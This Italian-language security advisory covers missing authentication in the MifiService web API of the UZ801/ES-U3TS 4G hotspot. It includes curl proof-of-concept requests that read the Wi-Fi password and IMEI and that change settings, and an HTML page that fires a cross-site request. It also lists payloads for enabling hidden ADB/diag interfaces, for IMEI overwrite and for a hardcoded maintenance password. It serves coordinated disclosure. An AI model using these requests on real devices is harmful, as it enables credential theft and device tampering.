
Security advisory che descrive un controllo degli accessi non corretto nell'API web MifiService di UZ801/ES-U3TS, che consente l'estrazione non autenticata dei dati, la modifica della configurazione e il riavvio del dispositivo. Include PoC e mitigazioni.
Advisory di sicurezza e note tecniche per un problema di controllo di accesso non corretto nell'API di gestione web incorporata esposta da MifiService.apk sulla piattaforma Wi-Fi mobile 4G LTE OEM / white-label UZ801_v2.1, commercializzata anche come ES-U3TS.
Questo repository è inteso a supportare la divulgazione coordinata e l'assegnazione CVE. Si concentra su prove tecniche riproducibili e non weaponizzate.
Il dispositivo interessato espone un endpoint di gestione HTTP basato su Jetty all'indirizzo:
http://192.168.100.1/ajax
Il dispatcher delle richieste backend è implementato in:
com.mifiservice.server.AjaxSevlet
Sebbene l'interfaccia web presenti una pagina di login, il backend non impone una sessione autenticata valida lato server per la maggior parte delle funzioni di gestione. Di conseguenza, un attaccante sulla rete adiacente può invocare direttamente operazioni sensibili funcNo senza autenticazione.
L'impatto verificato include:
Ulteriori funzioni ad alto rischio sono state confermate tramite analisi statica, tra cui:
L'hardware testato sembra appartenere a una famiglia di dispositivi OEM / white-label. Il fornitore di sviluppo originale esatto è attualmente sconosciuto e non è stato identificato alcun contatto di sicurezza affidabile del fornitore.
Questo advisory utilizza pertanto la seguente denominazione del prodotto:
UZ801_v2.1ES-U3TSUZ801-V3.4.3MifiService.apkcom.mifiservice.helloSe si scopre che altri marchi o rivenditori distribuiscono lo stesso firmware, APK, risorse web e comportamento funcNo, devono essere considerati varianti probabilmente interessate dello stesso codebase.
/ajaxMifiService.apkcom.mifiservice.server.AjaxSevletNon si tratta principalmente di un problema di credenziali predefinite.
La causa principale è il controllo di accesso non corretto nell'API backend:
Origin è presenteReferer è presenteLa funzione di login esiste, ma non fornisce confini di autorizzazione significativi per la maggior parte dell'API di gestione.
Vettore di attacco primario:
Vettore di attacco secondario:
Non si tratta di un attacco remoto esposto a internet per impostazione predefinita. L'attaccante deve:
192.168.100.1, oppureTutti i risultati di seguito sono inclusi come funzionalità interessate dello stesso problema di controllo di accesso non corretto.
Dove rilevante, ogni elemento è esplicitamente marcato come:
Validato dal vivoConfermato tramite analisi staticaQuesta distinzione è preservata per accuratezza. Le funzionalità ad alto rischio non sono etichettate come testate dal vivo quando non sono state intenzionalmente eseguite su hardware pubblico.
| funcNo | Descrizione | Stato | Note |
|---|
Al momento della stesura, il dispositivo sembra essere venduto tramite canali OEM / rivenditori con branding incoerente o assente, e non è stato stabilito alcun contatto affidabile con il fornitore di sviluppo originale.
Gli esempi seguenti sono intenzionalmente limitati a validazione di sola lettura o a basso impatto. Sono inclusi per dimostrare la vulnerabilità senza fornire un flusso di sfruttamento weaponizzato.
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1002}' \
http://192.168.100.1/ajax
Comportamento atteso:
ssidpwd in chiarocurl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1029}' \
http://192.168.100.1/ajax
Comportamento atteso:
imeifwversionLettura della lingua corrente:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1030}' \
http://192.168.100.1/ajax
Impostazione della lingua:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1031,"Language":"Chinese"}' \
http://192.168.100.1/ajax
Ripristinare il valore originale successivamente.
Questo endpoint non impone stato di sessione né validazione Origin / Referer. Il browser di una vittima connessa può quindi essere abusato per inviare richieste in background.
Pagina dimostrativa minima:
<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({funcNo: 1002})
});
</script>
Questo esempio è intenzionalmente limitato a un numero di funzione di sola lettura. Non distribuirlo contro utenti o dispositivi di produzione.
I seguenti formati JSON sono documentati solo per analisi difensiva e triage. Non sono accompagnati da passaggi di esecuzione qui.
2001 - abilitazione interfacce di debug nascoste{"funcNo":2001}
Comportamento osservato nel codice:
setprop persist.sys.usb.config rndis,serial_smd,diag,adbsync2004 - percorso di sovrascrittura IMEI{"funcNo":2004,"imei":"<valore-testo-redatto>"}
Comportamento osservato nel codice:
AT+WRIMEI=<valore>Nessun test pubblico dal vivo è incluso qui per motivi legali, di conformità e di integrità del dispositivo.
1002{
"results": [
{
"dns1": "8.8.8.8",
"ssid": "4G-UFI-8E1",
"dns2": "8.8.8.8",
"mask": "255.255.255.0",
"pwd": "1234567890",
"wlan_ip": "192.168.100.1",
"IP": "192.168.100.1"
}
],
"error_info": "none",
"flag": "1"
}
1029{
"results": [
{
"manufacture": "Qualcomm Technology",
"dbm": "",
"fwversion": "V3.4.3",
"imei": "863993064154463"
}
],
"error_info": "none",
"flag": "1"
}
Questo problema è un forte candidato CVE perché:
Classificazione suggerita:
CWE-306 Autenticazione mancante per funzione criticaCWE-862 Autorizzazione mancanteCVSS suggerito:
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2026-05-112026-05-122026-05-122026-05-12funcNo sensibili senza autenticazioneOrigin e RefererQuesto repository è inteso per ricerca difensiva, divulgazione di vulnerabilità e coordinamento. Gli esempi pubblici sono intenzionalmente limitati a validazione a basso rischio. Le funzionalità ad alto rischio sono documentate solo nella misura necessaria per la remediation e il triage CVE.
| funcNo | Descrizione | Stato | Note |
|---|
1002 | Legge SSID, IP del dispositivo, DNS, password Wi-Fi | Validato dal vivo | Restituisce la password Wi-Fi in chiaro |
1009 | Legge modalità di crittografia Wi-Fi e password | Validato dal vivo | Restituisce la password Wi-Fi in chiaro |
1011 | Legge intervallo DHCP, DNS, elenco client | Validato dal vivo | Utile per la ricognizione locale |
1015 | Legge stato SIM | Validato dal vivo | Restituisce lo stato SIM |
1029 | Legge IMEI, firmware, produttore, informazioni sul segnale | Validato dal vivo | Restituisce l'identità sensibile del dispositivo |
1052 | Legge modalità filtro MAC e voci configurate | Validato dal vivo | Espone policy e slot configurati |
2002 | Legge slot SIM attivo | Validato dal vivo | Espone lo stato di runtime |
| funcNo | Descrizione | Stato | Note |
|---|
1004 | Modifica modalità di connessione | Confermato staticamente | Nessuna imposizione di sessione osservata |
1005 | Modifica modalità di rete preferita | Confermato staticamente | Elevato impatto operativo |
1007 | Modifica SSID / numero massimo di stazioni | Confermato staticamente | Persiste la configurazione e riavvia la logica AP |
1010 | Modifica modalità di crittografia Wi-Fi / password | Confermato staticamente | Elevato impatto sulla riservatezza |
1012 | Modifica impostazioni DHCP/DNS | Confermato staticamente | Manomissione della rete locale |
1016/1017/1018 | Lettura / impostazione / commutazione profilo APN | Confermato staticamente | Modifica del comportamento WAN |
1031 | Modifica lingua e persistenza | Validato dal vivo | Utilizzato come prova a basso rischio di accesso in scrittura |
1053/1054/1055 | Modifica comportamento filtro MAC e voci | Confermato staticamente | Manomissione del controllo di accesso alla rete |
| funcNo | Descrizione | Stato | Note |
|---|
1013 | Riavvio del dispositivo | Validato dal vivo | DoS / interruzione del servizio |
1014 | Reset configurazione app/rete e riavvio | Validato dal vivo | Non è una cancellazione completa dei dati utente Android |
2000 | Riavvio nel bootloader | Validato dal vivo | Elevato impatto operativo |
2001 | Abilita configurazione USB ADB/Diag nascosta e riavvio | Confermato staticamente | Percorso di manutenzione pericoloso |
2003 | Percorso password di manutenzione nascosto | Confermato staticamente | Utilizza admin8888 hardcoded; il comportamento appare parziale / residuo |
2004 | Sovrascrittura IMEI | Confermato staticamente | Chiama il percorso comando AT; non eseguito pubblicamente |